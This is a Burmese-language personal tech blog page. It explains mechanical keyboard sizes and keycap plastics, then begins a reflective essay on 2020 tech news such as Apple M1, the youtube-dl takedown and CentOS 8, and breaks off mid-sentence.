ဒါတွေကတော့ စာရေးသူအတွက် နေ့စဉ်မရှိမဖြစ် အသုံးပြုနေရတဲ့ software တွေ tool တွေပဲဖြစ်ပါတယ်။ အခြား software/application တွေရှိသေးသော်လည်း လက်ရှိမှာတော့ ဒီ software လေးတွေကို မရှိမဖြစ်အသုံးပြုနေရလို့ ဒီ စာကိုရေးဖို့ ကို စိတ်ကူးမိတာပါ။ မသိသေးတဲ့သူတွေအတွက်တော့ အသုံးတည့်မယ်လို့ မျှော်လင့်ပါတယ်။


# Keyboard Size တွေအကြောင်းသိသမျှ

ဒီ COVID-19 အချိန်မှာ စာရေးသူ ဝါသနာအသစ်တစ်ခုရလိုက်ပါတယ်‌။ အဲ့ဒါကတော့… အပြင်မထွက်ရမည့်အတူတူ အိမ်မှာပဲ ဟိုဟာရှာဖတ်လိုက်ဒီဟာ ရှာဖတ်လိုက်နဲ့ ကြံကြံဖန်ဖန် ကိုယ်နေ့စဉ် computer မှာအသုံးပြုတဲ့ keyboard တွေအကြောင်းကို စပြီးတော့ စိတ်ဝင်စားစပြုလာပါတယ်။ နေ့စဉ် အိမ်မှာရော၊ ရုံးမှာပါ အသုံးပြုတဲ့ keyboard တွေအကြာင်းကို တခါမှ အခုလိုမျိုး စိတ်ဝင်တစား လိုက်ပြီးတော့ ရှာဖွေပြီးတော့ မဖတ်ဖြစ်ပါဘူး။ အခု‌တော့ နေ့စဉ်လိုလို mechanical keyboard လေးတွေ အကြောင်းနဲ့ custom build ဘယ်လိုလုပ်သလဲဆိုတာတွေ တော်တော်လေးကို စိတ်ဝင်စားဖြစ်နေပါတယ်။ သူများတွေ စိတ်ရှည်လက်ရှည် custom build လုပ်ထားတဲ့ keyboard လေးတွေကိုလည်း မျက်လုံးထဲမှာ တော်တော်လေးလည်း လှတယ်လို့ထင်ပါတယ်။ ကိုယ်တိုင်လည်း custom keyboard တစ်ခုလောက်တော့ စမ်းပြီးတော့ ကိုယ့်လက်နဲ့ ကိုယ်ခြေ စမ်းသပ် build လုပ်ဖို့လည်း စိတ်ကူးရှိနေပါတယ်။ သို့သော်လည်း custom keyboard တစ်လုံးတည်ဆောက်ဖို့ ကုန်ကျမည့်စရိတ်ကို တွက်ကြည့်လိုက်တော့ စျေးတော့ အရမ်း မပေါလွန်းပါ။ မကုန်ဘူးဆိုရင် အမေရိကန် ဒေါ်လာတန်ဖိုး ၂၀၀ ကနေ ၃၀၀ ကျော်ကျော်လောက်ထိ ဖြစ်နိုင်ပါတယ်။ ဒါတောင်မှ အခြားလိုအပ်မယ့် toolkit ဖိုးတွေထည့်မတွက်ထားသေးပါဘူး။ ဒါကြောင့်လည်း အချို့သော custom keyboard ကို build လုပ်ပြီးတော့ရောင်းတဲ့ online shop တွေမှာ keyboard တစ်လုံးကို ဒေါ်လာ ၄၀၀ ၅၀၀ ၆၀၀ အသီးသီး စျေးခေါ်ကြတာလို့နားလည်လာမိပါတယ်။ နောက်ပြီးတော့ အချို့သော YouTube channel တွေမှာလည်း keyboard တစ်လုံးတည်ဆောက်ပုံကို အသေးစိတ် အဆင့်ဆင့် ရှင်းပြထားတာမို့၊ တော်တော်လေးကို စိတ်ပြေလက်ပျောက်ရှိလှပါတယ်။ သို့ပေမယ့်လည်း အချိန်မရတာနဲ့ ကိုယ်တိုင်စိတ်ကြိုက် custom keyboard တစ်လုံးကို စိတ်ကြိုက် တည်ဆောက်ဖို့ကို ခဏလေး အချိန်ဆိုင်းပြီးတော့ အဆင့်သင့် ရိုးရိုး computer ဆိုင်တွေကနေဝယ်လို့ ရတဲ့ နာမည်ကြီး brand နဲ့ keyboard တွေကို ဝယ်ဖို့ကို စတင်လိုက်လံ ရှာဖွေရပြန်ပါတယ်။ consumer market ထဲမှာတော့ custom keyboard တွေလောက်စိတ်တိုင်းမကျပေမယ့်လည်း တန်ကြေးအားဖြင့် မဆိုးလွန်းလှဘူးလို့ ထင်မိပါတယ်။ စိတ်ထဲမှာတော့ custom keyboard တွေလောက်တော့ စိတ်အာရုံကို မဖမ်းစားနိုင်ဘူးလို့ ထင်မိလို့၊ consumer market ထဲမှာလည်း ဝယ်လို့နည်းနည်းလွယ်ပြီး custom keyboard အထာနည်းနည်းကျတဲ့ စပ်ကြားကို လိုက်ရှာလိုက်ရာကနေပြီတော့ အချို့သော စိတ်ကြိုက် brand လေးနှစ်ခု သုံးခုလောက်ကို တွေ့မိပြန်တယ်။

ဒီအထက်မှာပြောတဲ့ discovery process က မရှိဘူးဆိုရင် ၂ ပတ်ကနေ ၃ ပတ်လောက်ကြာပြီးတော့ အချိန်ရှိသမျှ keyboard နဲ့ ပတ်သတ်တဲ့ အကြောင်းအရာတွေကို ပဲလိုက်ပြီးတော့ ရှာဖတ်တတ်တဲ့ procrastination အဆင့်ကို မသိမသာရောက်လို့ လာပြန်ပါတယ်။ အထူးသဖြင့် လုပ်စရာအများကြီးရှိနေရဲ့နဲ့ keyboard အကြောင်းတွေကိုလိုက်ရှာဖတ်နေရင်း အချိန်ကိုဆွဲလာသလိုဖြစ်လာပါတယ်။ မည်သို့ပင်ဖြစ်စေ keyboard နဲ့ပတ်သတ်တဲ့ အကြောင်းအရာတွေကို လက်လှမ်းမှီသလောက် ရှာဖတ်ရင်းနဲ့ အကုန်လုံး လုံးစေ့ပတ်စေ့ သိသွားတယ်လို့ မဆိုနိုင်သော်လည်း၊ တော်တော်များများတော့ လေ့လာဖြစ်သွားပါတယ်။ ထုံးစံအတိုင်း နည်းနည်းသိရင် နည်းနည်းပြန်မျှဝေတတ်တဲ့ အကျင့်တစ်ခုကြောင့် ဒီ article လေးကို ရေးဖြစ်လို့ အကြောင်းဖြစ်လာပါတော့တယ်။ သိသလောက် ပြန်လည်မျှဝေမှာမို့ မပြည့်စုံတာလည်း ရှိနိုင်ပါတယ်။ သို့သော် သိသလောက်မျှဝေဖြစ်တော့ စာရေးသူလည်း ပိုပြီးတော့ သိလာရတာပေါ့။ ကိုယ့်လိုပဲ… mechanical keyboard crazy ဖြစ်တဲ့သူအချင်းချင်းတော့ ပြောလို့မကုန်နိုင်တဲ့ topic တစ်ခုပါ။

### Keyboard အရွယ်အစား ပေါင်းစုံ အကြောင်း

စာရေးသူတို့ နေ့စဉ်နဲ့ အမျှ PC တွေမှာ အသုံးပြုနေတဲ့ ရုံးသုံး အိမ်သုံး keyboard တွေကို 100% full-size keyboard လို့ခေါ်ပါတယ်။ Laptop မှာသုံးတဲ့ keyboard ကတော့ ကိုယ့်ရဲ့ laptop size ပေါ်မှာ မူတည်ပြီးတော့ full-size နဲ့ လာတဲ့ keyboard တွေရှိသလို၊ size သေးရင်သေးသလို keyboard size ဟာ လိုက်ပြောင်းတတ်လို့ ပုံသေး မရှိပါဘူး။ ဒါကြောင့်မို့… laptop ရဲ့ keyboard အရွယ်အစားကိုတော့ သီးသန့် သတ်မှတ်မထားတာကို တွေ့ရပါတယ်။ သို့သော် mechanical keyboard တွေမှာတော့ သူ့အရွယ်အစားပေါ်မှာမူတည်ပြီးတော့ အရွယ်အစားကို နာမည်ပုံစံအမျိုးမျိုးပေးကြပါတယ်။ ထိုထိုသော အရွယ်အစားပေါင်းစုံကိုတော့ consumer market ထဲက vendor တွေက အကုန်လိုက်ပြီးတော့ မထုတ်ပါ။ အထက်မှာပြောခဲ့သလို စပ်ကူးမတ်ကူးကြား keyboard hobbyist တွေအတွက် keyboard ကို ထုတ်လုပ်တဲ့ brand အချို့သာ demand ရှိရင်ရှိသလောက် size တော်တော်သေးတဲ့ mechanical keyboard လေးတွေကို လိုက်ထုတ်ကြပါတယ်။ keyboard အထူးအဆန်း လေးတွေကို လိုက်ပြီးတော့ ရှာရှာဖွေဖွေ မဝယ်တတ်ရင်တော့ ထိုထိုသော vendor တွေကို သိဖို့မလွယ်ပါ။ အောက်မှာတော့ keyboard အရွယ်အစားတွေနဲ့ တစ်ခုချင်းစီရဲ့ ပုံတွေကို တွဲပြီးတော့ ဖော်ပြပေးထားပါတယ်။

#### 100% full-size keyboard

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-128c86d72be319dd5b3db5fd33b892aa52fb8bd3%2F100-full-size-keyboard-3-768x244.png?alt=media" alt=""><figcaption></figcaption></figure>

ဒီ 100% full-size keyboard ကတော့ ပုံထဲမှာပါတဲ့အတိုင်း 104 keys အပြည့်အစုံ ပါတဲ့နေ့စဉ်အသုံးပြုနေကြ မြင်နေကြ keyboard အရွယ်ပါ။ ပုံထဲမှာပြထားတဲ့ keyboard ကတော့ Ducky ရဲ့ Shine 7 Blackout – RGB LED double shot PBT Mechanical keyboard ပဲဖြစ်ပါတယ်။ အထက်မှာပြောသွားတဲ့ consumer နဲ့ hobbyist နှစ်ခုကြားအတွက် သီးသန့်ထုတ်လေ့ရှိတဲ့ Ducky ဆိုတဲ့ Taiwanese keyboard vendor ကထုတ်ထားတဲ့ keyboard တစ်လုံး ပဲဖြစ်ပါတယ်။ ကိုယ်က mechanical keyboard enthusiast တစ်ယောက်ဆိုရင်တော့ Ducky ဆိုတဲ့ brand ကို သိကောင်းသိပါလိမ့်မယ်။ ဒါမှမဟုတ်ရင်တော့ ဒီ brand သိပ်ပြီးတော့ သိဖို့မလွယ်ပါဘူး။ RGB ဆိုတာကတော့ Red, Green နဲ့ Blue ဆိုတဲ့ LED မီးအရောင်ကို ပြောတာဖြစ်ပြီးတော့ double shoot PBT ဆိုတာက keycaps တွေကိုထုတ်လုပ်တဲ့အခါမှာ အထူးပြုလုပ်ထားတဲ့ plastic အမျိုးအစားတစ်ခုပဲဖြစ်ပါတယ်။ double shoot ဆိုတဲ့အတိုင်း plastic ကို အလွှာနှစ်ပေါင်းထပ်ပြီးတော့ ထုတ်လုပ်ထားတဲ့ PBT plastic keycaps တွေပါ။ PBT ရဲ့ အရှည်ကတော့ Polybutylene Terephthalate ဆိုတဲ့ chemical compound တစ်ခုကို အတိုခေါ်ဆိုထားတာပဲဖြစ်ပါတယ်။ Mechanical မဟုတ်တဲ့ ပုံမှန် keyboard တွေမှာအသုံးပြုတဲ့ ABS keycaps ဆိုတာကတော့ keycaps plastic ပေါ်မှာ မှင်အဖြူနဲ့ ဒီအတိုင်း ရိုက်နှိပ်ထားတဲ့အမျိုးအစားပါ။ ABS ရဲ့ အရှည့်ကတော့ Acrylonitrile Butadiene Styrene ဆိုတဲ့ chemical compound တစ်မျိုးပါ။ များသောအားဖြင့် ABS plastic keycaps တွေဟာ အသုံးပြုလာတာ ကြာတာနဲ့အမျှ အရောင်တွေ ပယ်လွှင့်သွားတတ်တဲ့အတွက် ပိုကောင်းတဲ့ keycaps တွေကိုတော့ double shoot PBT အသုံးပြုထားတာလည်းဖြစ်ပါတယ်။ အခြားသော plastic အမျိုးအစားတွေကို အသုံးပြုတဲ့ keycaps တွေလည်းရှိပါတယ်။ အချို့သော keyboard တွေမှာတော့ keycaps အမျိုးအစားတွေကို ရောနှောပြီးတော့လည်း ထည့်ရောင်းလေ့ရှိပါတယ်။ keycaps တွေကို ကိုယ်စိတ်ကြိုက် ပြောင်းလဲအသုံးပြုချင်လည်း ရနိုင်ပါတယ်။ keycaps တွေမှာလည်း profile မျိုးစုံရှိတဲ့အတွက် ကိုယ်က key caps တွေကို ဝယ်တဲ့အခါမှာလည်း ကိုယ်နဲ့ အဆင်ပြေမယ့် profile ကိုတော့ သိဖို့လိုပါလိမ့်မယ်။

#### 96% keyboard (1800 Compact)

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-742c1cbfa1f2d5fb975e1116967f047c53dcc937%2F1800-Compact-768x384.jpg?alt=media" alt=""><figcaption></figcaption></figure>

ဒီ တစ်ခုကတော့ 100% full-size keyboard အတိုင်း keys ပေါင်း ၁၀၄ ခုပါသော်လည်း keys တွေတည်ဆောက်ပုံနည်းနည်းတော့ ကွာခြားသွားပါတယ်။ ပုံထဲမှာတွေ့ရတဲ့ အတိုင်း numpad ကို ဘယ်ဘက်ကို တော်တော်များများ သွပ်ပြီးတော့ထည့်လိုက်တဲ့ အတွက် desk space နည်းနည်းထွက်လာအောင်၊ compact ဖြစ်သွားအောင် 96% လုပ်လိုက်တာပဲဖြစ်ပါတယ်။ keys က full-size မှာလိုပဲအပြည့်ပါတဲ့အတွက် စာရိုက်တဲ့အခါမှာ အများကြီးကွာခြားချက် မရှိပါဘူး။ layout နည်းနည်းပြောင်းသွားလို့ အစပိုင်းမှာ ဒုက္ခနည်းနည်းများနိုင်မျိုးတော့ရှိပါတယ်။ အချို့ကတော့ 96% ကို full-size ထက်ကြိုက်နှစ်သက်တဲ့သူတွေလည်းရှိပါတယ်။

80% keyboard (Tenkeyless – TKL)

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-a752f73f89b0dcc53f0f9b9fb5d1122e195af5ca%2F80-TKL-keyboard-768x311.jpg?alt=media" alt=""><figcaption></figcaption></figure>

ဒီ keyboard အရွယ်အစားကတော့ စာရေးသူလက်ရှိ စိတ်ကြိုက်တွေ့နေတဲ့ size ပါ။ ပုံထဲမှာမြင်ရတဲ့အတိုင်း numpad ကို လုံးဝဖြုတ်ချလိုက်ပြီးတော့ desk space ကို အများကြီးထွက်လာစေတဲ့အတွက် တော်တော်လေးကို အဆင်ပြေပါတယ်။ နောက်ပြီးတော့ စာရေးသူ အနေနဲ့ numpad ကို အသုံးပြုခဲပါတယ်။ များသောအားဖြင့် function keys တွေအောက်က number keys တွေကို ပိုပြီးတော့ အသုံးပြုဖြစ်တဲ့အတွက် numpad က ကိုယ့်အတွက်တော့ အပိုပါ။ နောက်ပြီးတော့ keyboard နဲ့ mouse ရဲ့ ကြားမှာ right-hand travel လုပ်ရတဲ့ အကွာအဝေးလည်း နည်းသွားတဲ့ အတွက်ပိုပြီးတော့ ergonomic ပိုဖြစ်တယ်လို့ ခံစားရပါတယ်။ TKL ဆိုတာက Tenkeyless ပါ။ keys ၁၀ခုနည်းသွားတယ်ပေါ့လေ။ တကယ်တော့ ၁၇ခုတောင်လျော့နည်းသွားတာဖြစ်ပါတယ်။ အတိုလွယ်အောင်လို့ TKL keyboard ရယ်လို့ ခေါ်ကြပါတယ်။ ကိုယ့်အနေနဲ့ numpad ကို အသုံးမပြုဘူးဆိုရင်တော့ TKL keyboard မှာလည်း ကိုယ့်အတွက် တကယ်ကြီးကို လျော့သွားတဲ့ keys မရှိပါဘူး။ တခါတလေ IP address လို၊ subnet mask လိုမျိုးရိုက်ထည့်တာများမှပဲ numpad ကို အားရပါးရအသုံးပြုလေ့ရှိတာကြောင့် TKL ဟာ အသင့်တော်ဆုံးသော အရွယ်အစားပါ။ ပါဝင်တဲ့ keys အရည်အတွက်ကတော့ ၈၇ ခုပါ။ Vendor တစ်ခုနဲ့ တစ်ခုမတူပါဘူး။ လိုတိုးပိုလျှော့မျိုးတော့ ရှိနိုင်ပါတယ်။

#### 75% keyboard

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-a98cc072bad9ea6b561e8278b3c65d74abc20cba%2F75-keyboard-768x432.jpg?alt=media" alt=""><figcaption></figcaption></figure>

75% keyboard ကတော့ 80% နဲ့ 65% ကြား size တစ်ခုပါ။ 80% မှာလိုပဲ function keys အပြည့်အစုံနဲ့ numpad ကလွဲလို့ အခြားသော keys တွေ အကုန်ပါတဲ့ size ပါ။ keys တွေရဲ့ layout ကတော့ နည်းနည်းလေး ရှုပ်ပါတယ်။ တခါတလေ WIN keys လိုဟာမျိုးကို အခြားနေရာရွှေ့လိုက်တာမျိုး၊ ဖြုတ်ထားလိုက်တာမျိုးကိုလည်း တွေရမှာဖြစ်ပါတယ်။ စာရေးသူ အနေနဲ့တော့ 80% သို့မဟုတ် 65% keyboard size မျိုးကိုပိုပြီးတော့ ကြိုက်နှစ်သက်ပါတယ်။ ပုံထဲမှာပြထားတဲ့ အတိုင်း keyboard ရဲ့ ပုံစံနဲ့ အရွယ်အစားဟာ ကြည့်လို့မကောင်းဘူး တကိုယ်ရေးမြင်မိပါတယ်။

#### 65% keyboard

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-9b8976830c269938d78b0d6b770c71260b3419aa%2F65-keyboard-2-768x256.jpg?alt=media" alt=""><figcaption></figcaption></figure>

65% keyboard size ကတော့ 80% ပြီးရင် စာရေးသူ အကြိုက်ဆုံး အရွယ်အစားပါ။ စာပွဲခုံပေါ်မှာ နေရာတော်တော်လေး ကိုသက်သာစေပြီးတော့၊ မရှိမဖြစ်လိုအပ်တဲ့ keys တွေအကုန်ပါသေးတာမို့ အဆင်ပြေပါသေးတယ်။ မြင်တဲ့အတိုင်းပဲ function keys row ကိုလုံးဝဖြုတ်ထားပြီးတော့ keyboard ရဲ့ size ဟာပိုပြီးတော့ကြည့်ကောင်းတယ်လို့ထင်ပါတယ်။ ပုံထဲမှာတော့ Ducky One 2 SF ကိုအစမ်းပြထားပေးပါတယ်။ SF ဆိုတာကတော့ Sixty Five ရဲ့ အတိုပါ။ ပုံမှန်အားဖြင့်တော့ vendor ပေါ်မှာမူတည်ပြီးတော့ keys ပေါင်း ၆၆ – ၆၈ ခုထိပါတတ်ပါတယ်။ လက်ရှိမှာတော့ Ducky က 65% keyboard လေးတွေကို တော်တော်လေး မျက်စိကျနေပါတယ်။ တော်တော်လေးကို စွဲဆောင်မူကောင်းတဲ့ size လို့စာရေးသူ ထင်မိပါတယ်။ Key caps လေးတွေလိုက်ပြောင်းပြီးတော့ အပေါ်ယံ customise လုပ်လိုက်ရင်တောင်တော်တော်လေးကို လှတဲ့ keyboard လေးတွေပါ။

#### 60% keyboard (Compact)

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-b199bcc76ccc25bdbfc5972be7385d5b6f3c13d0%2F60-keyboard-768x237.png?alt=media" alt=""><figcaption></figcaption></figure>

60% keyboard ကတော့ ပုံထဲကအတိုင်းတော်တော်လေး စွန့်လွှင့်လိုက်ရတဲ့ အထဲမှာပါသွားပါပြီ။ numpad မပါဘူး၊ navigation and arrow keys မပါဘူး၊ function keys row လည်း မပါတောဘူး ဆိုတော့ကာ အသုံးပြုဖို့ အနည်းငယ် အခက်ကြုံနိုင်ပါတယ်။ shortcut တွေအတွက် combo keys တွေကို အများကြီးမှတ်ရတော့မှာပါ။ အရွယ်အစားအားဖြင့်တော့ လှသော်လည်း လိုအပ်တဲ့ keys တွေတော်တော်များများ မပါတော့တဲ့အတွက် အဲ့လောက်ထိစိတ်တိုင်းမကျမိပါဘူး။ Collection အနေနဲ့ စုမယ်ဆိုရင်တော့ 60% keyboard တစ်လုံးလောက်တော့ ရှာပြီးတော့ သိမ်းထားချင်ပါတယ်။ ကိုယ်တိုင် custom build လုပ်ရင်လည်း 65% သို့မဟုတ် 60% လောက်ကို ကိုယ်တိုင် အစကနေပြီးတော့ တည်ဆောက်ချင်စိတ်တော့ဖြစ်မိပါတယ်။

#### 40% keyboard

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-8d44c09e7d5fb58b36853392d4e25a6464f4520a%2F40-keyboard-1-768x768.jpg?alt=media" alt=""><figcaption></figcaption></figure>

နောက်ဆုံးတစ်ခုကတော့ 40% keyboard အရွယ်အစားပဲ ဖြစ်ပါတယ်။ ပုံမှာမြင်ရတဲ့အတိုင်း အရမ်းကို သွပ်ပြီးတော့ keys တွေကိုထည့်ထားတာဖြစ်လို့ အသုံးပြုတဲ့အခါမှာလည်း စာရေးသူအတွက် ဒုက္ခများမယ့် သဘောရှိပါတယ်။ တကယ်လည်း လက်တွေ့မှာအသုံးပြုမယ်ဆိုရင် နေ့စဉ်သုံးအတွက်ဘယ်လိုမှ ဖြစ်နိုင်မယ်မထင်ပါ။ keys arrangement နဲ့ ပါဝင်တဲ့ keys တွေဟာလည်း vendor ပေါ်မှာပဲ မူတည်လို့ ပုံသေဘယ်လိုမှ မရှိပါဘူး။ အချို့ brand ကထုတ်လုပ်ထားတဲ့ 40% keyboard လေးတွေကိုတော့ မျက်စိကျမိတာအမှန်ပါ။ တခါမှတော့ စမ်းပြီးတော့ မသုံးဘူးသေးတဲ့အတွက် ဘယ်လို ရိုက်လို့ ခက်နိုင်တယ်ဆိုတာ စိတ်မှန်းတစ်ခုပါ။ ဝယ်ပြီးတော့ စုမယ့် အရွယ်အစားထဲမှာ 40% လည်း တစ်လုံးလောက်ဝယ်မလားလို့ စဉ်းစားမိပါတယ်။ နေ့တိုင်း ခုံပေါ်မှာတင်ပြီးတော့ သုံးဖို့အတွက်တော့ မဟုတ်ပါဘူး။ အလှသိမ်းထားချင်တဲ့ စိတ်တစ်ခုနဲ့ပါ။

အထက်မှာပြောသွားတဲ့အတိုင်း keyboard တွေရဲ့ အရွယ်အစားတစ်ခုတည်းနဲ့တင် ပြောစရာတွေတော်တော်များနေပါပြီ။ အခြားသော key caps တွေအကြောင်း၊ mechanical switch တွေအကြောင်း၊ PCB board တွေအကြောင်း မပါသေးပါဘူး။ Keyboard တစ်လုံးမှာပါတဲ့ component တွေဟာ အများကြီးမို့ ပြောမယ်ဆိုရင် အများကြီးရှိပါတယ်။ နောက်ကိုလည်း keyboard နဲ့ ပတ်သတ်တဲ့ အကြောင်းတွေကို လမ်းကြုံရင် ကြုံသလိုရေး သွားပါ့မယ်။ ဒီ post ကိုတော့ ဒီမှာပဲ ရပ်လိုက်ပါတော့မယ်။ အားလုံးလည်း keyboard size လေးတွေအကြောင်းတော့ အကျဉ်းချုပ် ခြုံငုံမိမယ်လို့ မျှော်လင့်ပါတယ်။


# သက္ကရာဇ်၂၀၂၀ ခုနှစ်တွင်း နည်းပညာဆိုင်ရာ အမှတ်တရလေးများ

ကမ္ဘာနဲ့ချီပြီးတော့ ဒုက္ခရောက်ကြတဲ့ သက္ကရာဇ် ၂၀၂၀ တွင်းမှာ ဘာကြောင့်လည်းလို့ မေးဖို့အားမရှိတော့ပါဘူး။ သိလည်း သိချင်စိတ်မရှိတော့လို့ ကျော်ကျော်သွားရတဲ့ နေ့စဉ်သတင်းများနဲ့ အတွေ့အကြုံဆိုးတွေဟာဖြင့် ယခုနှစ် ၂၀၂၀မှာဆို ဆိုးရွားလွန်းတဲ့ နက္ခတ်တွေ စုပြီးတော့ဝင်သလို တစ်ခုပြီးတစ်ခု အဆက်မပြတ် ဝင်လာတယ်။ ကိုယ်တိုင်က နည်းပညာနဲ့ လုပ်ကိုင်စားသောက်ရတာဖြစ်တဲ့အတွက် COVID-19 ကြောင့် lockdown ဖြစ်လိုက်ပြန်ဖွင့်လိုက် ပုံမှန်ဖြစ်မှာလိုနဲ့ ပြန်ဆိုးရွားလာလိုက်ဆိုပေမယ့်လည်း လေ့လာနိုင်စရာတွေအပြင် သက်ဆိုင်ရာ နည်းပညာသတင်းတွေကိုလည်း ဆက်တိုက်လိုက်ဖတ်ဖြစ်နေခဲ့ပါတယ်။ တနှစ်လုံးမှာလည်း မှတ်ကျောက်တင်နိုင်မယ့် Apple M1 chip ရဲ့ နည်းပညာဆိုင်ရာ တိုးတက်မှုတွေရှိသလိုပဲ၊ GitHub ပေါ်မှာ youtube-dl repo ကို DMCA takedown လုပ်ခိုင်းလို့ချက်ချင်း လုပ်လိုက်ပြီးကာမှ ရှက်ကိုးရှက်ကန်း funding တွေကို ပြန်ပြီးတော့လုပ်ပေးပါ့မယ်ဆိုတာလည်း ခပ်ကြောင်ကြောင်ရယ်ပါ။ ဘာကိုယုံလို့ယုံလိုက်ရမှန်း မသိတော့ပါ။ နှစ်ကုန်ပိုင်းရောက်လာလို့ နည်းနည်းလေး အေးချမ်းလာ မလာလို့တွေးလို့မှမပြီးသေးဘူး အခုလည်းကြည့်အုံးတော့ Solorigate တဲ့ဗျာ။ စာရေးသူဟို တလောကမှ CentOS 8 ကို Red Hat ကရပ်လိုက်တာနဲ့ ပတ်သတ်ပြီးတော့ အခဲမကြေတာ၊ အခုတော့ဖြင့် ရေရေလည်လည် ပြန်ပြီးစဉ်စားကြည့်ပြန်တော့ စိတ်ထဲမှာ လက်ဘက်ရည် ကျဆိမ့် တခွက်ကိုသောက်လိုက်ရသလို အိအိကလေး ဖြစ်နေပြန်ရော။ လူဆိုတာလည်း အာရုံ ၆ပါး အကုန်လုံး ဝါးမျိုလိုတဲ့ သတ္တဝါမျိုးမို့ စာရေးသူလည်း အကုန်လိုက်ပြီးတော့ ခံစားပေးနေပါတယ်။ ကိုယ်နဲ့ တိုက်ရိုက် ဆက်နွယ်မှု မရှိသော်လည်း မိမိကြိုက်နှစ်သက်တဲ့ opensource project / Linux distro တစ်ခုကို Red Hat လုပ်လိုက်ပုံကို သိပ်ပြီးတော့ ဘဝင်မကျလှပါဘူး။ Opensource နဲ့ဆိုပြီးတော့ လူကြားထဲမှာ ပျိုတိုင်းကြိုက်တဲ့ နှင်းဆီခိုင်က အခုကြမှ IBM big blue ကြီးရဲ့ လမ်းညွှန်ရာ စေခိုင်းအတိုင်းသွားလေသလား။ အခုလိုမျိုး COVID-19 တဖက်၊ သူ့ကြောင့် နေ့စဉ်တိုက်ပွဲဝင်ရတဲ့ စိတ်ပိုင်းဆိုင်ရာ အားပြိုင်မှုက တဖုံ၊ ဒီကြားထဲမှာ ကိုယ်နေ့စဉ် လှုပ်ရှား ရုန်းကန်ရတဲ့ နည်းပညာဆိုင်ရာ အလုပ်ထဲက မကောင်းတဲ့ သတင်းတွေကို လိုက်ပြီးခံစားပေးတာ တမျိုးမို့ စိတ်အနားမရတာ အမှန်ပါ။ ဘဝမှာတော့ ဘယ်လို ပြဿနာမျိုးမဆို ကိုယ်တိုင်ယူတတ်က သင်ယူနိုင်စရာ အခွင့်အရေးတစ်ခုပဲလို့ နောက်ပိုင်းမြင်လာနိုင်စွမ်း ရှိလာတယ်။ အခုလည်း ၂၀၂၀ နှစ်ကုန်ခါနီးမှ နည်းပညာဘက်မှာ ထပ်ပြီးတော့ opensource ဆိုင်ရာ သင်ယူစရာ နှစ်ခုကို အသုံးချပြီးတော့ တချိန်တုန်းက စာရေးသူ သေချာရှင်းလင်းအောင် မဖြေနိုင်မေးခွန်း တစ်ခုကို ကိုယ့်အတွက်ကော၊ ကိုယ့်ကို မေးခဲ့တဲ့သူတွေအတွက်ပါ ဖြေဖို့အတွက် အချက်ကျကျ စဉ်းစားသုံးသပ်ကြည့်ရအောင်။

### Apple M1 Chip နဲ့ ARM သတင်း

ဒီလို ARM နဲ့ implementation လုပ်တာမျိုးတွေဟာ opensource ကမ္ဘာမှာတော့ သိပ်ပြီးတော့ ထူးဆန်းတဲ့ ကိစ္စတစ်ခုမဟုတ်တာတော့ အမှန်ပါ။ ARM platform တွေကို Android နဲ့ Raspberry Pi တို့လို platform တွေမှာ နှစ်အနည်းငယ်ကြာကြာ စမ်းသပ်အသုံးပြုလာကြတာ အခုဆိုရင် တော်တော်လေးကို စုံစုံလင်လင် နေရာတိုင်းမှာ အသုံးပြုနိုင်တဲ့ အနေအထားမျိုးရောက်လို့ နေပါပြီ။ ဆိုပါတော့ Android လိုမျိုး mobile platform တွေကစလို Raspberry Pi နဲ့ သူနဲ့ဆိုင်တဲ့ IoT device တွေအပြင် ARM နဲ့ processing လုပ်တဲ့ performance မြင့် server တွေဟာလည်း လက်တွေ့ အသုံးဝင်တဲ့ အသုံးပြုပုံတွေပဲလိုဆိုရမှာပါ။ သို့သော်လည်း Apple ရဲ့ အစဉ်အလာအရ product တစ်ခု နည်းပညာအသစ် တစ်ခုကို စတင်မိတ်ဆက်ပုံနဲ့ hardware/software platform တွေကို စနစ်တကျကြိုတင်ပြင်ဆင်တတ်တဲ့သဘောရှိတာကြောင့် Apple M1 ARM Chip ဟာ ၂၀၂၀ခုနှစ်ကုန်ခါနီးကြမှ လူတွေ ပါးစပ်ဖျားမှာ ရေပန်းစားလို့ နေပြန်တယ်။ product တွေကို launch လုပ်တဲ့နေရာမှာ လူအများ စိတ်ဝင်စားအောင် တင်ပြပုံ တင်ပြနည်း ကောင်းကောင်းတွေကို အသုံးပြုတဲ့အပြင်၊ လူပိန်းတွေပါ နားလည်ရလွယ်အောင်လို့ ဘယ် generation မှာထုတ်တဲ့ ဘယ် Macbook ထက်ဘယ်လောက်မြန်သလဲဆိုတဲ့ ရှင်းပြချက်တွေကိုလည်း တွင်တွင်ကျယ်ကျယ် ထည့်သုံးသွားတယ်။ စာရေးသူ အတွက်တော့ ကိုယ်တိုင်က ၂၀၁၅ လောက်ကထွက်တဲ့ Macbook တစ်လုံးကို Apple ရဲ့ Ecosystem အကြောင်းကို ရိပ်ဖမ်းသံဖမ်း ရှိအောင်သာ ဝယ်ယူထားပြီးတော့ အသုံးပြုဖြစ်ခဲ့ပါတယ်။ သို့သော် သူ့ရဲ့ MacOS ကို end user တစ်ယောက်အနေနဲ့ တော့ စာရေးသူ ကြိုက်နှစ်သက်တာမျိုးတော့ မရှိပါဘူး။ Apple က developer တွေအဆင်ပြေအောင် သူ့ OS မှာ bash လိုမျိုး terminal emulator ကောင်းကောင်း 